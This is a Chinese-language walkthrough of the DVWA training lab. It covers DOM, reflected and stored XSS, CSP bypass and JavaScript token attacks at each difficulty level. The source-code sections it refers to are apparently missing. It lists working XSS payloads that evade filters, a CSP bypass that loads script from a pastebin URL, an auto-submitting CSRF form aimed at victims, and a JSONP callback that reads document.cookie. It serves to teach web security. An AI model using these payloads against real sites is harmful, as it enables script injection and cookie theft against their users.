document.writeJavaScript 中对 document.open 所开启的文档流 document.stream 操作的 API 方法,它能直接在文档流中写入字符串,一旦文档流已经关闭,那 document.write 就会重新利用 document.open 打开新的文档流并写入,此时原来的文档流就会被清空,已渲染好的页面就会被清除,浏览器将重新构建 DOM 并渲染新页面。

Low

源码

漏洞利用

English ,Select >> URL 发现 default 参数值为 English >> 构造URL http://dvwa.local/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script> >> 访问后 js 代码 alert 被执行,弹框显示了构造的内容。 >> F12 可查看到脚本内容

Medium

源码

array_key_exists(key,array) 检查某数组中是否存在指定的键,若键存在返回 true 不存在返回 falsekey 必需,指定键名;array 必需,指定数组。
stripos(string,find,start) 查找字符串在另一字符串中第一次出现的位置,返回字符串第一次出现的位置,若未找到字符串则返回 falsestring 必需,指定被搜索的字符串; find 必需,指定要查找的字符串;start 可选,指定开始搜索的位置。
header(string,replace,http_response_code) 向客户端发送原始 HTTP 报头。string 必需,指定要发送的报头字符串;replace 可选,指定该报头是否替换之前的报头,或添加第二个报头,默认替换(true) ,也可允许相同类型的多个报头(false);http_response_code 可选,把 HTTP 响应代码强制为指定值(PHP 4 及更高版本)。

default 变量进行过滤,通过 stripos() 查找<script 字符串在default 变量值中第一次出现的位置(不区分大小写),如果匹配就通过 location 将 URL 参数修正为 ?default=English

漏洞利用

过滤了 script 可使用其他标签达到效果。

?default=English</option></select><img src=x onerror=alert('XSS')>
?default=English<input onclick=alert('XSS') />

High

源码

使用了白名单模式,如果 default 的值不是白名单内的值就重置 URL 为 ?default=English

漏洞利用

只对 default 变量进行了过滤

?default=English&a=</option></select><img src=x onerror=alert('XSS')>

?default=English&a=<input onclick=alert('XSS') />
?default=English#</option></select><img src=x onerror=alert('XSS')>

?default=English#<input onclick=alert('XSS') />

Impossible

源码

直接不对输入参数进行 URL 解码了,这样会导致标签实效,从而无法 XSS

XSS (Reflected) (Reflected Cross Site Scripting,反射型 XSS)

Low

源码

变量 name 为做任何过滤,只是检查是否为空。

漏洞利用

<script>alert('XSS')</script>

Medium

源码

简单的过滤了 <script> 标签,由于通过正则匹配将检测到的敏感字符替换为空(删除)可使用嵌套和大小写转换绕过,也可使用其他标签绕过。

漏洞利用

<s<script>cript>alert('XSS')</script>

<Script>alert('XSS')</script>

<img src=x onerror=alert('XSS')>

High

源码

正则过滤表更加完善,不区大小写,并通过通配符匹配,使嵌套构造当方式也不能成功,但还有其他很多标签可达到弹框效果。

漏洞利用

<img src=x onerror=alert('XSS')>

Impossible

源码

XSS (Stored) (Stored Cross Site Scripting,存储型 XSS)

Low

源码

trim(string,charlist) 移除字符串两侧的指定字符。string 必需,指定要检查的字符串;charlist 可选,指定从字符串中删除的字符,若干未指定,则移除 \0(null) , \t(制表符) , \n(换行) , \x0B(垂直制表符) , \r(回车) , 空格
stripslashes(string) 去除字符串的反斜杠,可用于清理从数据库中或从 HTML 表单中取回的数据。
mysqli_real_escape_string(string,connection) 转义 SQL 语句中使用的字符串中的特殊字符。string 必需,指定要转义的字符串;connection 可选,指定 MySQL 连接,若未指定,则使用上一个连接;将会转义的字符 \x00 , \n , \r , \ , ' , " , \xla

这些函数都只对数据库进行了防护,却没有考虑到对 XSS 进行过滤

漏洞利用

Name: xsstest
Message: <script>alert('XSS')</script>

到数据库中查询 select * from guestook; 提交的结果被插入到了数据库中

测试完成后为了不影响下面的测试,检验手动删除数据库中的记录。

Medium

源码

addslashes(string) 返回在预定字符之前添加反斜杠的字符串。预定字符: ' , " , \ , null
strip_tags(string,allow) 剔去字符串中 HTML 、 XML 以及 PHP 的标签。 string 必需,指定检查的字符串;allow 可选,规定不被删除的标签。
htmlspecialchars(string,flags,character-det,double_encode) 包预定字符转换为 HTML 实体,预定字符: & , ' , " , < , >

message 变量几乎把所有的 XSS 都过滤了,但 name 只过滤了 <script> 标签而已,我们依然可在 name 参数尝试使用其他标签来触发弹框。

漏洞利用

name 的 input 输入文本框限制了长度,可通过审查元素手动将 maxlength 的值调大。

<input name="txtName" type="text" size="30" maxlength="50" type="text">

使用嵌套或大小写变化绕过

Name: <scr<script>ipt>alert('XSS')</script>

Name: <Script>alert('XSS')</script>

使用其他标签弹框

Name: <img src=x onerror=alert('XSS')>
Message: testxss

High

源码

message 变量依然没有希望,name 变量只加强过滤 script 标签,依然可使用其他标签绕过

漏洞利用

Name: <img src=a onerror=alert('XSS')>
Message: testxss

Impossible

源码

messagename 变量都进行了严格的过滤,且还检测了用户的 token,有效的防止了 CSRF 的攻击。

CSP Bypass (Content Security Policy Bypass,内容安全策略绕过)

CSP 是一种白名单制度,实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性,攻击者发现漏洞,也没法注入脚本,除非控制了一台例如了白名单的可信主机。

Low

源码

白名单:

self
https://pastebin.com
example.com
code.jquer.com
https://ssl.google-analytics.com

pastebin.com 是一个快速分享文本内容的网站,内容可控,可以在里面插入 XSS 攻击语句 alert(document.cookie)

漏洞利用

http://pastebin.com' 中创建内容为 alert('XSS'); 的分享,生成 https://pastebin.com/FY6tnzuS ,通过 https://pastebin.com/raw/FY6tnzuS 可访问内容。

在文本框中输入 https://pastebin.com/raw/FY6tnzuS 点击 include 即可将文件包含进去,从而触发 XSS。通过查看浏览器源代码可发现被嵌入了 XSS : <script src='https://pastebin.com/raw/FY6tnzuS'></script>

可配合 CSRF 使攻击自动化,创建 csrf.html 放到网站服务器上,设法让受害者访问就会触发。

<form method="POST" action="http://dvwa.local/vulnerabilities/csp/" id="csp">
  <input type="text" name="include" value="">
</form>
<script>
  var form = document.getElementById("csp");
  form[0].value="https://pastebin.com/raw/FY6tnzuS";
  form.submit();
</script>

Medium

源码

script-src 的合法来源发生了变化:

使用了 unsafe-inlinenonce 所以页面内嵌脚本必须要有 token 才能被执行

漏洞利用

直接输入:

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

High

源码

CSP 规则十分苛刻,只能引用允许 self 的脚本执行, self 是指本页面加载的脚本,也就是 source/high.js 这个脚本。

页面提示调用 ../. // vulnerability /csp/source/jsonp.php 来加载一些代码。
审查元素关键代码在<input type="button" id="solve" value="Solve the sum" /> >> id="solve" 对应的代码在 JS 中 >> 触发 JS 中的 clickButton 函数,该函数会创建一个 script 标签 <script src="http://dvwa.local/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script> >> 访问 http://dvwa/vulnerabilities/csp/source/jsonp.php?callback=solveSum 得到 solveSum({"answer":"15"}) >> 最后会调用 JS 的 solveSum 函数将结果输出到网页中。 >> 暴露的callback 参数未做过滤,完全可做操作,可直接构造 jsonp.php?callback=alert(document.cookie) 若此构造被执行就能触发弹框。

漏洞利用

由于 POST 提交的 include 参数直接放到了 body 源码中,可直接改 indlude 进行弹框,使用 hackbar 修改 Post data 即可弹出。

include=<script src=source/jsonp.php?callback=alert(document.cookie)></script>

Impossible

源码

指定只能输出 solveSum 意味着只能回调 JS 里的 solveSum 函数

JavaScript (JavaScript Attacks,JS 攻击)

Low

源码

主要生成了一个 token 通过 JS 在浏览器端生成, 由 md5(rot13(phrase))

漏洞利用

直接在浏览器控制台(Console) 调用函数计算出 token 值, md5(rot13(success)); >> 38581812b435834ebf84ebcc2c6424d6 >> 使用 Hackbar 修改 Post data :token=38581812b435834ebf84ebcc2c6424d6&phrase=success&send=Submit >> Well done!

Medium

源码

通过源码可知 phrase 逆序输出,然后在前后分别添加 XX 作为规律 >> 默认的 ChangeMe 的 token : <input type="hidden" name="token" value="XXeMegnahCXX" id="token"> >> success 的 token 应该是 XXsseccusXX

漏洞利用

利用 hackbar 修改 Post data: token=XXsseccusXX&phrase=success&send=Submit

High

源码

high.js 代码明显被混淆了,使用工具解码 得到有用代码:

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

生成 token 的步骤是: token_part_1("ABCD",44) >> token_part_2("XX") >> token_part_3

漏洞利用

在输入框输入 success 后到控制台输入 token_part_1("ABCD",44)token_part_2("XX") 两个函数即可。

Impossible

永远不要相信用户提交的信息,所以没有不可能级别。